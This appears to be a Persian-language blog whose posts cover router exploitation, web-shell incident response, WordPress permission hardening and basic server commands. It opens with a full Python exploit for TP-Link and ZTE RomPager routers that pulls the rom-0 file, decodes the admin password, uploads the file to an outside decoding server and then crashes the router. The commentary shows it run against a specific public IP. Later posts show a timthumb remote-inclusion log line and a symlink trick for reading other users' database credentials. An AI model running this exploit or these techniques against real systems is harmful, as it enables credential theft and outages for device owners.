# TP-Link TD-W8901G

# TP-Link TD-W8101G

# TP-Link TD-8840G

# Firmware: FwVer:3.11.2.175_TC3086 HwVer:T14.F7_5.0

# Tested on: Kali Linux x86

# Notes: Please note this exploit may contain errors, and

# is provided “as it is”. There is no guarantee

# that it will work on your target router(s), as

# the code may have to be adapted.

# This is to avoid script kiddie abuse as well.

# Disclaimer: This proof of concept is strictly for research, educational or ethical (legal) purposes only.

# Author takes no responsibility for any kind of damage you cause.

# Exploit Author: Osanda Malith Jayathissa (@OsandaMalith)

# Dedicate to Nick Knight and Hood3dRob1n

# ./dos.py -i 192.168.1.1

import os

import re

import sys

import time

import urllib

import base64

import httplib

import urllib2

import requests

import optparse

import telnetlib

import subprocess

import collections

import unicodedata

class BitReader:

def __init__(self, bytes):

self._bits = collections.deque()

for byte in bytes:

byte = ord(byte)

for n in xrange(8):

self._bits.append(bool((byte >> (7–n)) & 1))

def getBit(self):

return self._bits.popleft()

def getBits(self, num):

res = 0

for i in xrange(num):

res += self.getBit() << num–1–i

return res

def getByte(self):

return self.getBits(8)

def __len__(self):

return len(self._bits)

class RingList:

def __init__(self, length):

self.__data__ = collections.deque()

self.__full__ = False

self.__max__ = length

def append(self, x):

if self.__full__:

self.__data__.popleft()

self.__data__.append(x)

if self.size() == self.__max__:

self.__full__ = True

def get(self):

return self.__data__

def size(self):

return len(self.__data__)

def maxsize(self):

return self.__max__

def __getitem__(self, n):

if n >= self.size():

return None

return self.__data__[n]

def filter_non_printable(str):

return ”.join([c for c in str if ord(c) > 31 or ord(c) == 9])

def banner():

return ”’

\t\t _/_/_/ _/_/_/

\t\t _/ _/ _/_/ _/

\t\t _/ _/ _/ _/ _/_/

\t\t _/ _/ _/ _/ _/

\t\t_/_/_/ _/_/ _/_/_/

”’

def dos(host, password):

while (1):

url = ‘http://’ +host+ ‘/Forms/tools_test_1’

parameters = {

‘Test_PVC’ : ‘PVC0’,

‘PingIPAddr’ : ‘\101’*2000,

‘pingflag’ : ‘1’,

‘trace_open_flag’ : ‘0’,

‘InfoDisplay’ : ‘+-+Info+-%0D%0A’

}

params = urllib.urlencode(parameters)

req = urllib2.Request(url, params)

base64string = base64.encodestring(‘%s:%s’ % (‘admin’, password)).replace(‘\n’, ”)

req.add_header(“Authorization”, “Basic %s” %base64string)

req.add_header(“Content-type”, “application/x-www-form-urlencoded”)

req.add_header(“Referer”, “http://” +host+ “/maintenance/tools_test.htm”)

try:

print ‘[~] Sending Payload’

response = urllib2.urlopen(req, timeout=1)

sys.exit(0)

except:

flag = checkHost(host)

if flag == 0:

print ‘[+] The host is still up and running’

else:

print ‘[~] Success! The host is down’

sys.exit(0)

break

def checkHost(host):

if sys.platform == ‘win32’:

c = “ping -n 2 “ + host

else:

c = “ping -c 2 “ + host

try:

x = subprocess.check_call(c, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)

time.sleep(1)

return x

except:

pass

def checkServer(host):

connexion = httplib.HTTPConnection(host)

connexion.request(“GET”, “/status.html”)

response = connexion.getresponse()

server = response.getheader(“server”)

connexion.close()

time.sleep(2)

if server == ‘RomPager/4.07 UPnP/1.0’:

return 0

else:

return 1

def checkPassword(host):

print ‘[+] Checking for default password’

defaultpass = ‘admin’

tn = telnetlib.Telnet(host, 23, 4)

tn.read_until(“Password: “)

tn.write(defaultpass + ‘\n’)

time.sleep(2)

banner = tn.read_eager()

banner = regex(len(defaultpass)*r‘.’+‘\w+’ , banner)

tn.write(“exit\n”)

tn.close()

time.sleep(4)

if banner == ‘Copyright’:

print ‘[+] Default password is being used’

dos(host, defaultpass)

else:

print ‘[!] Default Password is not being used’

while True:

msg = str(raw_input(‘[?] Decrypt the rom-0 file locally? ‘)).lower()

try:

if msg[0] == ‘y’:

password = decodePasswordLocal(host)

print ‘[*] Router password is: ‘ +password

dos(host, password)

break

if msg[0] == ‘n’:

password = decodePasswordRemote(host)

print ‘[*] Router password is: ‘ +password

dos(host, password)

break

else:

print ‘[!] Enter a valid choice’

except Exception, e:

print e

continue

def decodePasswordRemote(host):

fname = ‘rom-0’

if os.path.isfile(fname) == True:

os.remove(fname)

urllib.urlretrieve (“http://”+host+“/rom-0”, fname)

# If this URL goes down you might have to find one and change this function.

# You can also use the local decoder. It might have few errors in getting output.

url = ‘http://198.61.167.113/zynos/decoded.php’ # Target URL

files = {‘uploadedfile’: open(‘rom-0’, ‘rb’) } # The rom-0 file we wanna upload

data = {‘MAX_FILE_SIZE’: 1000000, ‘submit’: ‘Upload rom-0’} # Additional Parameters we need to include

headers = { ‘User-agent’ : ‘Python Demo Agent v1’ } # Any additional Headers you want to send or include

res = requests.post(url, files=files, data=data, headers=headers, allow_redirects=True, timeout=30.0, verify=False )

res1 =res.content

p = re.search(‘rows=10>(.*)’, res1)

if p:

passwd = found = p.group(1)

else:

password = ‘NotFound’

return passwd

def decodePasswordLocal(host):

# Sometimes this might output a wrong password while finding the exact string.

# print the result as mentioned below and manually find out

fname = ‘rom-0’

if os.path.isfile(fname) == True:

os.remove(fname)

urllib.urlretrieve (“http://”+host+“/rom-0”, fname)

fpos=8568

fend=8788

fhandle=file(‘rom-0’)

fhandle.seek(fpos)

chunk=“*”

amount=221

while fpos < fend:

if fend–fpos < amount:

amount = amount

data = fhandle.read(amount)

fpos += len(data)

reader = BitReader(data)

result = ”

window = RingList(2048)

while True:

bit = reader.getBit()

if not bit:

char = reader.getByte()

result += chr(char)

window.append(char)

else:

bit = reader.getBit()

if bit:

offset = reader.getBits(7)

if offset == 0:

break

else:

offset = reader.getBits(11)

lenField = reader.getBits(2)

if lenField < 3:

lenght = lenField + 2

else:

lenField <<= 2

lenField += reader.getBits(2)

if lenField < 15:

lenght = (lenField & 0x0f) + 5

else:

lenCounter = 0

lenField = reader.getBits(4)

while lenField == 15:

lenField = reader.getBits(4)

lenCounter += 1

lenght = 15*lenCounter + 8 + lenField

for i in xrange(lenght):

char = window[–offset]

result += chr(char)

window.append(char)

result = filter_non_printable(result).decode(‘unicode_escape’).encode(‘ascii’,‘ignore’)

# In case the password you see is wrong while filtering, manually print it from here and findout.

#print result

if ‘TP-LINK’ in result:

result = ”.join(result.split()).split(‘TP-LINK’, 1)[0] + ‘TP-LINK’;

result = result.replace(“TP-LINK”, “”)

result = result[1:]

if ‘ZTE’ in result:

result = ”.join(result.split()).split(‘ZTE’, 1)[0] + ‘ZTE’;

result = result.replace(“ZTE”, “”)

result = result[1:]

if ‘tc160’ in result:

result = ”.join(result.split()).split(‘tc160’, 1)[0] + ‘tc160’;

result = result.replace(“tc160”, “”)

result = result[1:]

return result

def regex(path, text):

match = re.search(path, text)

if match:

return match.group()

else:

return None

def main():

if sys.platform == ‘win32’:

os.system(‘cls’)

else:

os.system(‘clear’)

try:

print banner()

print ”’

|=——–=[ ZTE and TP-Link RomPager Denial of Service Exploit ]=——-=|\n

[*] Author: Osanda Malith Jayathissa

[*] Follow @OsandaMalith

[!] Disclaimer: This proof of concept is strictly for research, educational or ethical (legal) purposes only.

[!] Author takes no responsibility for any kind of damage you cause.

”’

parser = optparse.OptionParser(“usage: %prog -i <IP Address> “)

parser.add_option(‘-i’, dest=‘host’,

type=‘string’,

help=‘Specify the IP to attack’)

(options, args) = parser.parse_args()

if options.host is None:

parser.print_help()

exit(–1)

host = options.host

x = checkHost(host)

if x == 0:

print ‘[+] The host is up and running’

server = checkServer(host)

if server == 0:

checkPassword(host)

else:

print (‘[!] Sorry the router is not running RomPager’)

else:

print ‘[!] The host is not up and running’

sys.exit(0)

except KeyboardInterrupt:

print ‘[!] Ctrl + C detected\n[!] Exiting’

sys.exit(0)

except EOFError:

print ‘[!] Ctrl + D detected\n[!] Exiting’

sys.exit(0)

if __name__ == “__main__”:

main()

#EOF

اسکریپت کارش اینه که بعد از بدست آوردن پسورد، روتر رو از کار میندازه و در اصل اون رو ریست میده! ولی خب بعد از روئیت پسورد خیلی راحت میشه از برنامه خارج شد تا روتر ریست نشه.

./dos.py -i 176.46.136.215

1	./dos.py –i 176.46.136.215

با اجرا کامند بالا همچین خروجی رو خواهیم داشت. Selection_002

دقت کنید در هنگامی که اسکریپت به سوال Decrypt the rom-0 file locally میرسه، y رو تایپ کنید تا پسورد رو در بیاره براتون. و بعد هم کافیه Ctrl + c رو بزنید تا از برنامه خارج شید.

و خب همه‌ی اینا رو گفتم که بدونید وضعیت چقدر داغونه. داتک فخیمه میتونه با یک فایروال خیلی ساده، پورت ۸۰ رو ببنده، همونطور که پورت ۸۰۸۰ رو الان بسته (احتمالا بخاطر وجود backdoor که روی این مودم‌ها و روی این پورت وجود داره) ! و البته خود کاربرا هم میتونن کلا دسترسی به روتر از طریق وب رو کاملا مسدود کنن که این امر نیاز به آگاه‌رسانی اونها داره.

23 مارس 2015

بازی موش و گربه

حول و هوش ۴ صبح بود که می‌خواستم برم کوه خیر سرم که دیدم یهو کلی میل سرایز شده سمت اینباکسم و یه اسپمر وحشی رم کرده و داره فرت و فرت میل اسپم می‌فرسته.

خلاصه این شد که رفتم پشت سیستم و اول رسیدم به همچین آدرس کذایی رو سرور که از طریق اون کلی میل اسپم می‌فرستاد.

/home/ex/public_html/wp-admin/images/screenshots/247@abu.php

1	/home/ex/public_html/wp–admin/images/screenshots/247@abu.php

وقتی که محتویاتش رو دیدم اولین کاری که به ذهنم رسید این بود که کل کدای داخلش رو با یه مادر فاکر جابجا کنم تا هکره توی اجرای بعدی ببینه و حسابی عصبانی شه! :)

بعد چند دقیقه بود که دیدم دوباره محتوا رو عوض کرده و این یعنی وجود مکانی که تبدیل شده به مقر فرماندهی و اینطوری بود که به کل زدم فایل رو پاک کردم و سریع رفتم سر وقت لاگ اپاچی

41.206.12.37 – – [14/Mar/2013:04:35:20 +0330] “POST /wp-admin/images/screenshots/247@abu.php HTTP/1.1” 200 6886 “http://ex.com/wp-admin/images/screenshots/247@abu.php” “Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1) Gecko/20090624 Firefox/3.5”

1	41.206.12.37 – – [14/Mar/2013:04:35:20 +0330] “POST /wp-admin/images/screenshots/[email protected] HTTP/1.1” 200 6886 “http://ex.com/wp-admin/images/screenshots/[email protected]” “Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1) Gecko/20090624 Firefox/3.5”

حالا دیگه آی‌پی رو داریم :) فایرفاکس ۳.۵ و طرف ظاهرا ویندوزکاره و البته اینا مشخصات یه بابایی توی نیجیریه ست! و همین احتمال رو قوی میکنه که طرف داره از تور استفاده میکنه.

از روی دنبال کردن آی‌پی رسیدم به یه فایلی به اسم theme-edit.php داخل پوشه wp-admin و نکته جالب این بود که با باز کردن این فایل تو ادیتور مطلقا چیزی دستگیر آدم نمی‌شد به این خاطر که آقای هکر کد php رو رمزنگاری کرده بود و بنابراین محتویت فایل رو می‌دیم به سایتی مشابه ddecode که کارش تبدیل محتوای رمز شده به حالت عادیه. بسته به سختی کد طی تعداد مراحلی این سایت کد واقعی رو در اختیارتون می‌گذاره و جالبه که این کد رو در یازدهمین مرحله می تونه از حالت رمز خارج کنه :)

شروع بسم الله با افتخار نوشته‌ی هکر رو می‌بینیم! (کد دیکد شده شل)

/* hide shell edited by r1pp3rm4ya*/

بله یک شل مخفی کشف کردیم! شلی که بخاطر محتوای رمز شده ش آنتی ویروس clam هم هشداری بهتون نمی‌ده. شاید بشه فقط از رو md5 حجم فایل مثلا گفت که احتمال داره فرد دیگه‌ای هم توی این کره خاکی توسط این شل آلوده شده یا نه.

ادامه سرک کشی به لاگ من رو رسوند به یه آی‌پی جدید و یه فایل جدید اینکود شده ولی چون دقیقا بازه زمانیشون یکی بود حدس می‌زنم وسط کار آی‌پی تور فقط عوض شده باشه و پشت جفتشون یه ادم بیشتر نیست.

180.253.0.28 – – [14/Mar/2013:03:49:08 +0330] “POST /wp-content/themes/TheStyle2//temp/892c731e14ff80782a5fe6d67ee4d5e4.php HTTP/1.1” 200 72356 “http://ex.com/wp-content/themes/TheStyle2//temp/892c731e14ff80782a5fe6d67ee4d5e4.php” “Mozilla/5.0 (Windows NT 5.1; rv:19.0) Gecko/20100101 Firefox/19.0”

1	180.253.0.28 – – [14/Mar/2013:03:49:08 +0330] “POST /wp-content/themes/TheStyle2//temp/892c731e14ff80782a5fe6d67ee4d5e4.php HTTP/1.1” 200 72356 “http://ex.com/wp-content/themes/TheStyle2//temp/892c731e14ff80782a5fe6d67ee4d5e4.php” “Mozilla/5.0 (Windows NT 5.1; rv:19.0) Gecko/20100101 Firefox/19.0”

با نگاه کردن به فایل از رمز خارج شده میشه حدس زد که ازش برای وصل شدن به دیتابیس استفاده میکنه و همه اینا یعنی خطر! دنبال فایل‌های passwd و shadow و این موارد نیز هست پس این نقاطیه که باید دسترسی read رو طوری تنظیم کنید که فقط کاربر root بتونه محتویاتشون رو ببینه. در حالت عادی یوزر امکان مشاهده محتوای خیلی از فایل‌های حساس etc رو داره.

اما ادامه خوندن لاگ ما رو به خط‌های خیلی مهمی رهنمون می‌کنه :) دقیقا از شروع حمله تا زمان موفقیت رو می‌شه دید پروسه‌ای که واقعا دید آدم رو نسبت به امنیت و این جور موارد به کل دگرگون میکنه

180.253.0.28 – – [14/Mar/2013:03:47:35 +0330] “GET /wp-search.php HTTP/1.1” 404 – “-” “Mozilla/5.0 (Windows NT 5.1; rv:19.0) Gecko/20100101 Firefox/19.0”
180.253.0.28 – – [14/Mar/2013:03:47:42 +0330] “GET /wp-content/themes/TheStyle2/style.css HTTP/1.1” 200 28123 “http://ex.com/” “Mozilla/5.0 (Windows NT 5.1; rv:19.0) Gecko/20100101 Firefox/19.0”
180.253.0.28 – – [14/Mar/2013:03:47:42 +0330] “GET /wp-content/uploads/2012/06/nyed2013-34-221×300.jpg HTTP/1.1” 200 20654 “http://ex.com/” “Mozilla/5.0 (Windows NT 5.1; rv:19.0) Gecko/20100101 Firefox/19.0”
180.253.0.28 – – [14/Mar/2013:03:48:25 +0330] “GET /wp-content/themes/TheStyle2/timthumb.php?src=http://blogger.com.bathroomremodeling.org/cok.php HTTP/1.1” 200 1000 “-” “Mozilla/5.0 (Windows NT 5.1; rv:19.0) Gecko/20100101 Firefox/19.0”

180.253.0.28 – – [14/Mar/2013:03:47:35 +0330] “GET /wp-search.php HTTP/1.1” 404 – “-“ “Mozilla/5.0 (Windows NT 5.1; rv:19.0) Gecko/20100101 Firefox/19.0”

180.253.0.28 – – [14/Mar/2013:03:47:42 +0330] “GET /wp-content/themes/TheStyle2/style.css HTTP/1.1” 200 28123 “http://ex.com/” “Mozilla/5.0 (Windows NT 5.1; rv:19.0) Gecko/20100101 Firefox/19.0”

180.253.0.28 – – [14/Mar/2013:03:47:42 +0330] “GET /wp-content/uploads/2012/06/nyed2013-34-221×300.jpg HTTP/1.1” 200 20654 “http://ex.com/” “Mozilla/5.0 (Windows NT 5.1; rv:19.0) Gecko/20100101 Firefox/19.0”

180.253.0.28 – – [14/Mar/2013:03:48:25 +0330] “GET /wp-content/themes/TheStyle2/timthumb.php?src=http://blogger.com.bathroomremodeling.org/cok.php HTTP/1.1” 200 1000 “-“ “Mozilla/5.0 (Windows NT 5.1; rv:19.0) Gecko/20100101 Firefox/19.0”

اگه یادتون باشه پست قبلی در مورد یه شل به اسم wp-search گفتم. شلی که پاک شد اما اون هکر بعد چند روز اومده سر وقتش! بی خبر از اینکه پاک شده و البته ارور ۴۰۴ گرفته:)

اما بیکار ننشسته! احتمالا از همون تکنیکی که بار پیش شل رو وارد سیستم کرده اینبار هم اومده و اون روش رو دنبال کرده.

خط دوم اومده استایل قالب وبلاگ رو گرفته حدس می‌زنم از داخل استایل خواسته ببینه چه پلاگینایی مثلا می‌تونسته طرف استفاده کرده باشه که احتمالا حفره ای داشته باشن برای استفاده‌های بعدی.

و بعد در چندین مورد که همه ش رو اینجا نگذاشتم با استفاده از متد GET داخل پوشه آپلود رو می‌گرده به امید پیدا کردن اون حفره!

به نظرم خط ۴م دقیقا جایی بوده که حفره رو پیدا کرده و توسط متد GET و با استفاده از سایت خودش تونسته شل خودش رو بارگزاری کنه.

برنامه‌نویس نیستم اما حدس می‌زنم تونسته از حفره‌ای توی برنامه timthumb استفاده کنه و کد خودش رو که توی سایتش موجود بوده رو با استفاده از ضعف این برنامه به سرور قربانی منتقل کنه.

راستش رو بخواید حتی متوجه آدرس جایی که کد رو گذاشته نمی‌شم :))

http://blogger.com.bathroomremodeling.org/

ولی داخلش که بشید سه تا کد اصلی ش رو خواهید دید که با استفاده از متد GET اونها رو به سیستم قربانی منتقل میکنه. پیشنهاد میکنم حسابی مراقب باشید که یهو خودتون الوده نشید با وارد شدن از طریق مرورگر! و خلاصه اینکه احتمالا مشکل پیدا شد! و چند تا شل جدید کشف شد و احتمالا یه حفره توی برنامه ذکر شده :)

ساعت ۷:۱۳ با تاخیر برم کوه!

14 مارس 2013

با پرمیشن صحیح وردپرس را امن کنید

اول بگم که این بحث فقط در مورد وردپرس نیست، در مورد هر برنامه تحت وبی که نوشتید هم صادقه، شاید از دروپال استفاده کنید و یا جوملا اما نکته اینه که خودم از وردپرس استفاده میکنم و از تم دیفالت وردپرس هم بهره می‌برم و می‌تونم بگم پرمیشن ها چطوری تنظیم بشه هم امنیت رو خیلی بالا برده باشید و هم اینکه سایت و وبلاگتون بدون هیچ مشکلی بالا بیاد. اما با کمی بازی می‌تونید این قاعده و این روش رو جاهای دیگه هم پیاده کنید.

نکات این راهنما روی هاست‌های که به صورت شیر و اشتراکی استفاده میشن بیشتر به کار میاد.در هاست شیر تعداد زیادی وبلاگ و سایت متعلق به کاربران مختلف وجود داره و عموما تنظیمات طوری صورت میگیره که صاحب یک وبلاگ سر از کار وبلاگ دیگه در نیاره و یه جورایی ایزوله باشن کاربرا، بنابراین اگر دسترسی به یک سرور کامل دارید و مثلا وردپرس رو مستقیم از مخازن نصب کردید و خودتون یکه و تنها روی سرور هستید احتمالا لازم نیست خیلی نگران باشید!

فرض این راهنما بر اینه که سرور لینوکس ببن چند ده نفر آدم شیر شده و هر کدوم از اونها وبلاگ و سایت‌های خودشون رو می‌تونن داشته باشن. یکی از سیستم‌های معروفی که اغلب مدیر سرور برای مدیریت فله‌ای وبلاگ و سایت استفاده می‌کنه سی‌پنل که روی سرور لینوکس، نصب میکنه و بعد فرت و فرت فضا می‌فروشه تا جایی که سرور اشباع میشه و رم و پردازشگر دیگه تا حد خرخره و جون کندن کار میکنن!

احتمالا اگه هزینه کمی می‌دید برای میزبانی وبلاگ و سایتتون و از اون مهمتر مثلا سی پنل دارید و یا دایرکت ادمین! بدین معنی که روی سرور لینوکس غیر از شما کلی آدم دیگه هم هست (احتمالا). سی پنل برای هر کاربری که مقداری فضا باید بهش متعلق بگیره یه فولدر توی پوشه خونگی لینوکس به اسم اون کاربر می‌سازه و به صورت پیشفرض تنظیمات رو طوری قرار می‌ده که یک کاربر از محتویات پوشه کاربر دیگه مطلع نشه. بنابراین وقتی وارد سی پنل می‌شید توقع نداشته باشید بتونید محتویات پوشه کاربر دیگه رو ببنید :)

حالا یه نیم نگاهی داشته باشیم به پروسه نصب وردپرس!‌ وقتی وردپرس رو نصب میکنید به صورت دیفالت مجوز فایل wp-config.php روی ۶۴۴ تنظیم میشه. همینطوره بقیه فایل‌های داخل وردپرس! مجوز فولدرها هم ۷۵۵ تنظیم میشه.

wp-config.php فایل خیلی خیلی حساس و مهمیه! با این مجوز شما دارید دو دستی یوزر و پسورد دیتابیس و بنابراین کل زندگی تون رو به راحتی تقدیم میکنید به هکرای خیلی خیلی ناشی! و باید ناراحت باشید از این موضوع که احتمالا به زودی حتی یه هکر ترک هم می‌تونه سایت و وبلاگتون رو هک کنه!

بیاییم ببینیم چه کارایی میشه انجام داد با این مجوز. فرض کنید یکی از همسایه ها یه خورده کنجکاوه. همسایه منظور کسی که روی همین سروری که وبلاگتون موجوده، سایت و وبلاگ داره بعلاوه دسترسی به ترمینال. این ادم در حالت عادی نمی‌تونه محتویات پوشه home لینوکس رو ببینه چون به صورت صحیح توسط سی پنل پرمیشن صحیح دارن(مگه اینکه خیلی مسئول سرور ناشی باشه و دستی تغییر داده باشه). این ادم برای اینکه بفهمه چه کسایی کنارش هستن (دایرکتوری های موجود در پوشه home رو ببینه) می تونه بره سایتای تبدیل دامین به آی‌پی (+) و برای مثال آدرس وبلاگم رو وارد کنه و آی‌پی سرور رو در بیاره و بعد بره سراغ موتور جستجوی بینگ و خیلی ساده کل سایتایی که روی سرور میزبانی میشن رو در بیاره (+)

واو خیلی جالبه! :) همین اول کار توی لیست موتور جستجو یکی از وبلاگای بیگناه رو می‌بینم که هک شده!‌

می‌شه حدس زد که اسم پوشه خونگی این کاربر روی سرور ikkco باشه و یا حتی مثلا پوشه خونگی وبلاگ خودم novid باشه‌:) و بعد با فرض اینکه طرف یه زمانی وردپرس استفاده می‌کرده، اون آدم بازیگوش میاد یه شورتکات ساده می‌سازه!

ln -s /home/novid/public_html/wp-config.php .

1

ln –s /home/novid/public_html/wp–config.php .

و حالا چون فایل مجوز ۶۴۴ داره خیلی راحت یوزر و پسوردتون خونده میشه و این ادم میتونه وصل شه به دیتابیس و کلی کارای جالب کنه.

همینجا میشه نتیجه گرفت که اگه موقع نصب وردپرس، اون رو مستقیم اکسترکت نکنید و مثلا برید داخل یه پوشه به اسم nnnovid این کار رو کنید کار هکر رو کلی سخت کردید! کاری که خیلی ها اون رو انجام نمی‌دن.

اینجا فرض رو بر این گذاشتیم که کاربر دسترسی به ترمینال داره ولی حقیقت خیلی دردناک تر از این حرفاست :) هکرها خیلی راحت تر از اینکه تصور کنید با استفاده از فایل‌های php خیلی کم حجم موسوم به شل دسترسی به قسمت‌های مختلف سیستم خواهند داشت. فرض کنید فایل php شل یوزر و مالکش novid و اسمش هم wp-search.php باشه، باید که خیلی خیلی خوره وردپرس باشید تا اینکه متوجه شید به صورت پیشفرض اصلا همچین فایلی رو وردپرس وجود نداره :) می‌تونه این فایل لابه لای تم رایگانی باشه که خیلی خوشحال اون رو پیدا کردید! اما غافل از اینکه این یک تله ست و تم حاوی فایل شل!

در اینصورت هکر کافیه وارد ادرس www.novid.ir/wp-search.php بشه. هر کاری رو که تصور کنید، این هکر می‌تونه با این شل انجام بده. از رفتن به دایرکتوری ها مختلف، دیدن کل فایل های کاربر novid لیست گرفتن، در اوردن یوزر و پسورد و همونجا وصل شدن به دیتا بیس از داخل شل، حتی روش ها و تکنیک های معروف اکسپلویت کردن با استفاده از حفره های موجود یک نسخه خاص وردپرس و غیره و غیره. هکر می‌تونه حتی کل پروسه های در حال اجرای سرور رو ببینه!‌ می تونه با مشاهده پروسه‌های در حال اجرا یوزرهای دیگه رو ببینه :) هکر سایت بالا می‌تونه اسم من رو در بیاره و بعد توی بخشی که وجود داره دایرکتوری من رو بزنه و قصد خوندن اطلاعاتم رو داشته باشه! اما همه این کارها تا زمانی که شل تحت یوزر و گروپ novid نباشه و فایل ها و فولدرهای وردپرسی هم پرمیشن صحیح داشته باشن منتفی میشه! هکر دست خالی بر می گرده!

یکی از این شل های خوشگل رو از سروری که زیر دستم بود و یه گروه ترک اون رو برام سوغاتی اورده رو اپلود میکنم تا بگیرید و ببینید این شل ها چطورین، نسخه‌های متنوعی وجود داره از این شل‌ها، این شل به محض اجرا شدن کلی ایمیل برای صاحبش می‌فرسته! پس احتمال داره با اولین اجرا یوزر و پسورد دیتابیستون برای مثال فرستاده شده باشه برای صاحب اثر :)‌ تنها راه از کار انداختنش روی سرور دادن مجوز chmod 000 به فایله و یا باز کردن سورس و پیدا کردن ایمیل و عوض کردنش به مال خودتون :)

دقت کنید اگه مالک این فایل (شل) novid باشه حتی می تونه محتویات wp-config با مجوز ۴۰۰ رو هم بخونه! پس اگر یکی از این شل ها رو داشته باشید حتی با پرمیشن صحیح هم امنیت معنی نداره! علت اینه که در هاست های شیر برای اینکه پروسه های php که هر یوزر استفاده میکنه رو بتونن به تفکیک ببینن و هم اینکه هر کاربر از کاربر دیگه ایزوله و جدا باشه ( به شرط پرمیشن صحیح)‌ از suphp و suexec استفاده می‌کنن. کاری که این ها انجام میدن اینه که اجازه میدن فایل php با مجوز کاربر عادی هم اجرا بشه! دقت کنید در حالت عادی تنها کسی که مجوز اجرای فایل php رو داره آپاچی و بنابراین اگه در حالت عادی یه شل با مجوز novid روی سرور سبز بشه عملا کاری نمی تونه کنه. پس در صورتیکه هاست شیر داشته باشید و suphp و suexec داشته باشید قادر هستید تمام فایل‌های php رو با مجوز ۴۰۰ هم اجرا کنید :)

مجوز ۴۰۰ این حسن رو داره که اگه مطمئن باشید که پاک پاکید خیالتون راحته که اگه همسایه بغلی‌ یکی از ین شل‌ها رو داشته باشه نمی‌تونه بهتون آسیبی بزنه، می‌تونید گاهگاهی یک بار بک اپ کامل از وبلاگتون رو ذخیره کنید و بعد با آنتی ویروس چک کنید. در صورتیکه فایل مشکوکی پیدا نکرد یعنی پاکید :) یا وقتی که تم خاصی رو از نت می گیرید اون رو اول اسکن کنید و بعد روی سرور اپلود کنید.

حالا این مقدمات رو گفتم که بریم سر اصل مطلب و اینکه شما می تونید با خیال راحت کل فایل‌های php رو ۶۰۰ و یا ۴۰۰ تبدیل کنید :) با مجوز ۴۰۰ حتی خودتون هم نمی‌تونید تغییری در فایل‌ها ایجاد کنید (که در حالت عادی با فرض اینکه طراح و برنامه نویس نیستید هیچ وقت این نیاز رو نخواهید داشت)! یک راه اینه که فایل حساس wp-config رو ۴۰۰ بگذارید و بقیه رو ۶۰۰ تا زمانایی که وردپرس رو اپدیت میکنید مشکلی از این بابت نداشته باشید :) یه راه هم اینه که هر بار نسخه جدیدی میاد برید مجوزها رو موقتی ۶۰۰ کنید و بعد از آپدیت به نسخه جدید اون رو ۴۰۰ کنید.

اگه فایل های php رو ۴۰۰ کردید و سایتتون داون شد مطمئن باشید که سروری که هستید از suphp استفاده نمیکنه اما با تقریب خیلی بالایی بهتون اطمینان میدم اکثریت سرورهای هاستینگ شیر در ایران از این روش استفاده میکنن! در صورت داون شدن سایت فقط فایل wp-config رو ۴۰۰ بگذارید باشه و بقیه همون ۶۴۰ برگردونید و باز اگه جواب نداد ۶۴۴ بذارید باشن. اما wp-config رو بیشتر از ۴۰۰ ندید هیچ وقت (جز زمانایی که قراره پسورد و یوزر دیتابیس عوض بشه)‌

اما فایل های دیگه غیر از php مثل .htaccess و عکس ها رو باید بتونید با مجوز ۴۰۴ درست کنید. علت اینکه مجوز گروپ رو ۴ میدید اینه که این دسته فایل ها دیگه با suphp و suexe اجرا نمی‌شن و بنابراین باید توسط other قابلیت خوندن داشته باشن تا آپاچی بتونه به اونها دسترسی داشته باشه :) تمام css های تم و فایل متفرقه xml و اینجور چیزها شامل این قانون میشه.

پس نتیجه میشه چیزی مثل این

11 مارس 2013

بازی با سرور

یه چند وقتیه که سرور این و اون دستمه و منیج می‌کنم بد ندیدم یه سری نکاتی که به درد بخورن رو بنویسم اینجا بیشتر برای خودم که ازشون استفاده کنم بعدها :) امیدوارم به درد دوستان هم بخوره!

Capture

یکی از اولین کارهایی که می‌کنید وقتیکه سرور افتاد زیر دستتون به جون سخت افزارش بیفتید و ببینید دقیقا چی به چیه :)

مثلا با این دستور خیلی راحت سرعت نوشتن اطلاعات روی هارد رو در بیارید.

[root@novid ~]# dd if=/dev/zero of=/tmp/output bs=8k count=100k; rm -f /tmp/output
102400+0 records in
102400+0 records out
838860800 bytes (839 MB) copied, 0.674417 s, 1.2 GB/s

[root@novid ~]# dd if=/dev/zero of=/tmp/output bs=8k count=100k; rm -f /tmp/output

102400+0 records in

102400+0 records out

838860800 bytes (839 MB) copied, 0.674417 s, 1.2 GB/s

واو یه شاهکاره :) نمی‌تونید تصور کنید شور و شوقی رو که دارم از اینکه همچین سروری زیر دستمه :)

خب حالا ببینم چند تا پردازشگر داره سرور و برای اینکار از دستور زیر کمک می‌گیریم

[root@novid ~]# cat /proc/cpuinfo | grep processor | wc -l
16

1 2	[root@novid ~]# cat /proc/cpuinfo \| grep processor \| wc -l 16

عدد ۱۶ داره می‌گه سرور ۱۶ تا هسته داره :) قضیه چیه؟ پردازشگر ۱۶ هسته‌ای داریم؟ با دستور زیر اسم و مدل پردازشگر رو در میاریم.

 [root@novid ~]# cat /proc/cpuinfo | grep “model name” | head -n 1
model name      : Intel(R) Xeon(R) CPU           E5620  @ 2.40GHz

1 2	[root@novid ~]# cat /proc/cpuinfo \| grep “model name” \| head -n 1 model name : Intel(R) Xeon(R) CPU E5620 @ 2.40GHz

و حالا با یه سرچ کوچولو به این می‌رسیم که پردازشگر E5620 چهار هسته داره که با فناوری خاص اینتل، انگاری ۸ تا هستن (تریت)! بنابراین خیلی فریب ۸ هسته ای بودنش رو نخورید چون واقعا ۴ تا هسته بیشتر نداره. اما فرکانس کاری ۲.۴ گیگاهرتز هست :)
حتما باید حدس زده باشید که سرور دو تا پردازشگر داره!‌ :)

ببینیم لینوکس فرکانس کاری رو چند نشون می‌ده؟

[root@novid ~]# cat /proc/cpuinfo | grep “cpu MHz” | head -n 5
cpu MHz         : 1600.000
cpu MHz         : 1600.000
cpu MHz         : 1600.000
cpu MHz         : 1600.000
cpu MHz         : 1600.000

[root@novid ~]# cat /proc/cpuinfo | grep “cpu MHz” | head -n 5

cpu MHz : 1600.000

